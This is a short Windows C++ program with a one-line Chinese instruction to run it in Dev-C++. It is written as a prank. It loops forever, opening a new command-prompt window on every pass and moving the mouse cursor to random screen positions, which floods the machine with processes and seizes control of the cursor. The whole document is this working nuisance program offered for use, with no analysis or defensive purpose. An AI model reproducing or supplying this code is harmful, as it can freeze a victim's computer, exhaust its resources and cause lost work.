用dev-c++运行即可
#include<windows.h> # include <stdio.h> using namespace std; int main() { system("color F5"); int x,y; for(;;){ system("start cmd"); x = rand()%801; y = rand()%601; SetCursorPos(x,y); } return 0; }